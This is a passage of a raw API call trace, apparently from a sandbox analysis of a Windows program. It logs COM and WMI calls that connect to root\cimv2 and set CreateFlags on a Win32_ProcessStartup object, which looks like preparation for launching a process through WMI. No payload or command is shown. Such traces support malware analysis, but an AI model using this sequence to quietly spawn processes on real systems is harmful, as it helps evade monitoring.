SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0154.685] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0154.685] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0154.685] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0154.685] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.687] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc0f7c0) returned 0x0 [0154.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f7c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0154.688] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f7c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0bfd0) returned 0x0 [0154.688] WbemDefPath:IUnknown:Release (This=0x1bc0f7c0) returned 0x0 [0154.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0bfd0) returned 0x0 [0154.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0154.688] WbemDefPath:IUnknown:AddRef (This=0x1aa0bfd0) returned 0x3 [0154.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0154.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0154.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc0f420) returned 0x0 [0154.689] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f420, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.689] WbemDefPath:IUnknown:Release (This=0x1bc0f420) returned 0x3 [0154.689] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0154.689] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0154.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0154.689] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x2 [0154.689] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x1 [0154.689] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0154.689] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0154.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0bfd0) returned 0x0 [0154.689] WbemDefPath:IUnknown:AddRef (This=0x1aa0bfd0) returned 0x3 [0154.689] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x2 [0154.689] WbemDefPath:IWbemPath:SetText (This=0x1aa0bfd0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0154.690] IWbemClassObject:Get (in: This=0x1bcf4fc0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285c578*=0, plFlavor=0x285c57c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285c578*=19, plFlavor=0x285c57c*=0) returned 0x0 [0154.690] IWbemClassObject:Get (in: This=0x1bcf4fc0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285c578*=19, plFlavor=0x285c57c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285c578*=19, plFlavor=0x285c57c*=0) returned 0x0 [0154.690] IWbemClassObject:Put (This=0x1bcf4fc0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0154.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93af0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0154.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0154.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0154.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.691] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0154.691] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0154.691] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0154.691] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.693] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc0f660) returned 0x0 [0154.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f660, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0154.693] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f660, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0bf10) returned 0x0 [0154.693] WbemDefPath:IUnknown:Release (This=0x1bc0f660) returned 0x0 [0154.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0bf10) returned 0x0 [0154.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0154.694] WbemDefPath:IUnknown:AddRef (This=0x1aa0bf10) returned 0x3 [0154.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0154.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0154.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc0f5e0) returned 0x0 [0154.694] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f5e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.694] WbemDefPath:IUnknown:Release (This=0x1bc0f5e0) returned 0x3 [0154.694] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0154.694] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0154.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0154.695] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x2 [0154.695] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x1 [0154.695] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0154.695] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0154.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bf10, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0bf10) returned 0x0 [0154.695] WbemDefPath:IUnknown:AddRef (This=0x1aa0bf10) returned 0x3 [0154.695] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x2 [0154.695] WbemDefPath:IWbemPath:SetText (This=0x1aa0bf10, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0154.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0154.695] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0154.695] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.695] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0154.695] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0154.696] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0154.696] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.697] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc0f360) returned 0x0 [0154.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f360, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0154.697] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc0f360, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc0f380) returned 0x0 [0154.697] WbemLocator:IUnknown:Release (This=0x1bc0f360) returned 0x0 [0154.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f380, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc0f380) returned 0x0 [0154.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f380, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0154.698] WbemLocator:IUnknown:AddRef (This=0x1bc0f380) returned 0x3 [0154.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f380, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0154.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f380, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0154.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f380, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0154.698] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0154.698] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0154.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f380, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0154.698] WbemLocator:IUnknown:Release (This=0x1bc0f380) returned 0x2 [0154.698] WbemLocator:IUnknown:Release (This=0x1bc0f380) returned 0x1 [0154.698] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0154.698] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0154.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f380, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc0f380) returned 0x0 [0154.699] WbemLocator:IUnknown:AddRef (This=0x1bc0f380) returned 0x3 [0154.699] WbemLocator:IUnknown:Release (This=0x1bc0f380) returned 0x2 [0154.699] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0154.699] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0154.699] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.699] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc0f3a0) returned 0x0 [0154.699] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc0f3a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbab9b0) returned 0x0 [0154.706] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbab9b0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdc980) returned 0x0 [0154.706] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdc980, pProxy=0x1bbab9b0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0154.707] WbemLocator:IUnknown:Release (This=0x1bbdc980) returned 0x1 [0154.707] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbab9b0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdc9c0) returned 0x0 [0154.707] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbab9b0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdc980) returned 0x0 [0154.707] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdc980, pProxy=0x1bbab9b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0154.707] WbemLocator:IUnknown:Release (This=0x1bbdc980) returned 0x2 [0154.707] WbemLocator:IUnknown:Release (This=0x1bbdc9c0) returned 0x1 [0154.707] CoTaskMemFree (pv=0x1a9a7db0) [0154.707] WbemLocator:IUnknown:AddRef (This=0x1bbab9b0) returned 0x2 [0154.707] WbemLocator:IUnknown:Release (This=0x1bc0f3a0) returned 0x0 [0154.708] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0154.708] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0154.708] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbab9b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdc990) returned 0x0 [0154.708] WbemLocator:IRpcOptions:Query (in: This=0x1bbdc990, pPrx=0x1bc0f320, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0154.708] WbemLocator:IUnknown:Release (This=0x1bbdc990) returned 0x2 [0154.708] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0154.709] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0154.709] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbab9b0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbab9b0) returned 0x0 [0154.709] WbemLocator:IUnknown:Release (This=0x1bbab9b0) returned 0x2 [0154.709] SysStringLen (param_1=0x0) returned 0x0 [0154.709] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0154.709] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0154.709] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: 